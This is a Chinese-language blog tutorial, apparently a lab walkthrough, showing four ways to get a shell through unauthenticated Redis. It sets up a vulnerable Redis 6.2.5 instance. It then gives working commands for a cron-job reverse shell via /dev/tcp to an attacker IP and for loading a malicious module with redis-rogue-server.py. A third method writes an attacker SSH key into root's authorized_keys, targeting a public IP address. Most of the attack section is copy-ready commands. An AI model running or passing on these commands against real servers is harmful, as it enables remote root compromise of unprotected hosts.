当前位置: 首页 > news >正文

redis未授权getshell四种方式

一.靶场搭建

1.1redis高版本会有一些限制(需要特殊的配置,较为麻烦),所以我们这里利用的是较低版本的redis。

命令如下,下载,解压,进入redis-6.2.5,解析
  • wget https://download.redis.io/releases/redis-6.2.5.tar.gz

  • tar xzf redis-6.2.5.tar.gz

  • cd redis-6.2.5

  • make

出现以下信息即为解析成功

1.2搭建 redis 未授权访问漏洞靶场

1.2.1redis 启动命令:

cd src
./redis-server

出现以下错误,说明我们的6379端口被占用,发现docker映射中占用着6379端口,终止,重新启动redis

成功启动,如这个图所示

1.2.2 修改配置文件

我们需要修改相关配置文件,文件位置为“/root/redis-6.2.5/redis.conf”。去掉ip绑定,允许除本地外的主机远程登录redis服务,关闭保护模式,允许远程连接redis服务。

cd /root/redis-6.2.5

修改前,在红框处进行修改。

修改后

1.2.3重启redis服务,并指定相关的conf文件,这样我们修改的东西才会生效。

./redis-server /root/redis-6.2.5/redis.conf

二.靶场攻击

2.1未授权访问

2.1.1

前提条件

低版本或者enable-protected-config yes

知道网站绝对路径,并且需要增删改查权限

获取网站路径方式:1、报错 2、phpinfo 3、配置文件 4、 数据库 5、相关数据泄漏

root启动redis

redis弱密码或者无密码

2.2计划任务,命令如下

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/攻击机的ip/端口 0>&1\n\n"

set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.182.130/66 0>&1\n\n"
config set dir /var/spool/cron/
config set dbfilename root
save

写入成功,这儿我写错了,应该写攻击机的ip与端口,开启监听之后,等待反弹就行了

到靶机上查看,计划任务写入成功,我们试试编辑root,将里面的ip与端口改成我们的ip试试看,不行。

攻击机开启nc监听,等待反弹shell,其他人的成功效果

2.3主从复制

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在Redis中实现一个新的Redis命令,通过写C语言编译并加载恶意的.so文件,达到代码执行的目的。

使用相关脚本(项目地址为GitHub - n0b0dyCN/RedisModules-ExecuteCommand: Tools, utilities and scripts to help you write redis modules!)

python3 redis-rogue-server.py --rhost=<target ip> --lhost=<vps ip> --exp=exp.so

接下来vps开启监听,最终成功获取反弹shell

2.4写入公钥

首先,我们需要获取攻击机的公钥(id_rsa.pub),保存为txt文件,并检查相关公钥,显示无异常

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > rsakey.txt
cat rsakey.txt

写入本地公钥至目标靶机

redis-cli -h 49.232.30.123 #连接靶标
config set dir /root/.ssh/  #设置目录
config set dbfilename authorized_keys  #设置文件名
config get dir #检查设置的目录
config get dbfilename #检查设置的文件名
set xz "\n\n\n 你的id_rsa.pub \n\n\n" #写入公钥
save #保存

直接进行ssh连接,登陆成功

ssh  -i  /root/.ssh/id_rsa  root@ip地址

http://www.dtcms.com/a/302962.html

相关文章:

  • 【ELasticsearch】搭建有负载均衡 ELB 的 ES 集群
  • TongESBv7报错:DatabaseConnectionException: no connection available(by lqw)
  • 正则表达式 速查速记
  • 多数据库学习之VastbaseG100海量数据库入门实践
  • Spring AI 1.0 提供简单的 AI 系统和服务
  • opencv 模块裁剪 按需安装指定模块
  • 《零基础入门AI: 从轮廓查找到形态学变换(OpenCV图像预处理)》
  • 【数据架构09】人工智能及数据智能架构篇
  • Charles中文版深度解析,轻松调试API与优化网络请求
  • 产品需求如何系统化管理
  • 简明量子态密度矩阵理论知识点总结
  • Spring Boot 2整合Druid的两种方式
  • shell学习从入门到精通(第二部分)
  • 第六届物联网、人工智能与机械自动化国际学术会议 (IoTAIMA 2025)
  • 暑期自学嵌入式——Day10(C语言阶段)
  • springboot校园外卖配送系统
  • Stm32中USB 对时钟的要求
  • 使用 Scrapy 框架定制爬虫中间件接入淘宝 API 采集商品数据
  • 案例开发 - 日程管理 - 第三期
  • HOT100——链表篇Leetcode206. 反转链表
  • IP核乘法器NCO的使用
  • 多目标优化分解方法:加权和与罚函数边界交叉
  • 数据分析入门,深入浅出的数据分析
  • 基于 JWT 的登录验证功能实现详解
  • (多线程)等待一个线程-join() 获取当前线程的引用 线程的六种状态 线程休眠 线程的调度执行中的细节
  • 【边缘填充】——图像预处理(OpenCV)
  • 边缘计算+前端实时性:本地化数据处理在设备监控中的响应优化实践
  • MOEA/D(Multi-Objective Evolutionary Algorithm based on Decomposition)简介
  • 互信息:理论框架、跨学科应用与前沿进展
  • 从卷积到ResNet